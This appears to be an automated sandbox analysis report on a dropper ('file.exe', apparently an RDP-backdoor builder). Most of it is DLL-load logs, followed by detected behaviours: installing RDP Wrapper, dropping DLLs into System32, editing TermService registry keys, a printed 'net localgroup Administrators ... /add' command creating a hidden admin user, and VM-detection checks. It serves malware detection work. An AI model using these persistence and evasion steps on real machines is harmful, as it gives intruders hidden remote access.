Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcnnetsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwancfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wwapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net1.exe	Section loaded: samlib.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File written: C:\Program Files\RDP Wrapper\rdpwrap.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: file.exe

Static file information: File size 2066432 > 1048576

Source: file.exe

Static PE information: Raw size of .}wo is bigger than: 0x100000 < 0x1f7a00

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed source: file.exe
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed source: file.exe
Source:	Binary string: rdpclip.pdbJ source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdb source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.10.dr
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdb source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: rdpclip.pdb source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdbGCTL source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.10.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: file.exe
Source:	Binary string: C:\DEV\C#\RDPCreator\RDPCreator\obj\Release\RDPCreator.pdb source: file.exe
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdbSHA256v0& source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Yara detected Costura Assembly Loader

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: 0.0.file.exe.c60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2499189931.0000000000C62000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2026603249.0000000000D4A000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6980, type: MEMORYSTR

Source: file.exe

Static PE information: 0xEF5ACDDE [Tue Apr 2 01:46:06 2097 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .}wo

Source: file.exe	Static PE information: section name: .T"G
Source: file.exe	Static PE information: section name: .}wo

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0576915C push cs; retf	0_2_0576915D
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_004430DC push 00443161h; ret	10_2_00443159
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00439674 push ecx; mov dword ptr [esp], ecx	10_2_00439675
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00420164 push 004201DAh; ret	10_2_004201D2
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0040A178 push 0040A1E7h; ret	10_2_0040A1DF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00437134 push 00437201h; ret	10_2_004371F9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00443188 push 00443230h; ret	10_2_00443228
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0043421C push ecx; mov dword ptr [esp], edx	10_2_0043421E
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0044323C push 004432C7h; ret	10_2_004432BF
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00437298 push 0043732Eh; ret	10_2_00437326
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00437360 push 004373ADh; ret	10_2_004373A5
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0043A3F8 push 0043A450h; ret	10_2_0043A448
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_004176D4 push 00417879h; ret	10_2_00417871
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00421998 push 004219E5h; ret	10_2_004219DD
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0042AA70 push ecx; mov dword ptr [esp], edx	10_2_0042AA75
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0040CA10 push eax; retf 0040h	10_2_0040CA11
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0042AAB4 push ecx; mov dword ptr [esp], edx	10_2_0042AAB9
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00415C58 push ecx; mov dword ptr [esp], edx	10_2_00415C5D
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0040EC80 push ecx; mov dword ptr [esp], ecx	10_2_0040EC85
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00404E0C push eax; ret	10_2_00404E48
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0043FE8C push 0043FEE0h; ret	10_2_0043FED8

Persistence and Installation Behavior

Adds a new user with administrator rights

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" BoydKrajcik /add
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net localgroup "Administrators" BoydKrajcik /add			Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	File created: C:\Windows\System32\rfxvmt.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

File created: C:\Windows\System32\rfxvmt.dll

Jump to dropped file

Source: C:\Windows\System32\drivers\tsusbhub.sys

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tsusbhub\Parameters\Wdf

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Registry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_0043B58C OpenSCManagerW,GetLastError,OpenServiceW,GetLastError,StartServiceW,GetLastError,Sleep,StartServiceW,CloseServiceHandle,CloseServiceHandle,

10_2_0043B58C

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Size FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 32D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3220000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 5770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 7770000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: OpenSCManagerW,GetLastError,EnumServicesStatusExW,GetLastError,CloseServiceHandle,EnumServicesStatusExW,CloseServiceHandle,GetLastError,CloseServiceHandle,

10_2_0043B7D4

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 2377			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 7549			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Dropped PE file which has not been started: C:\Program Files\RDP Wrapper\rdpwrap.dll			Jump to dropped file
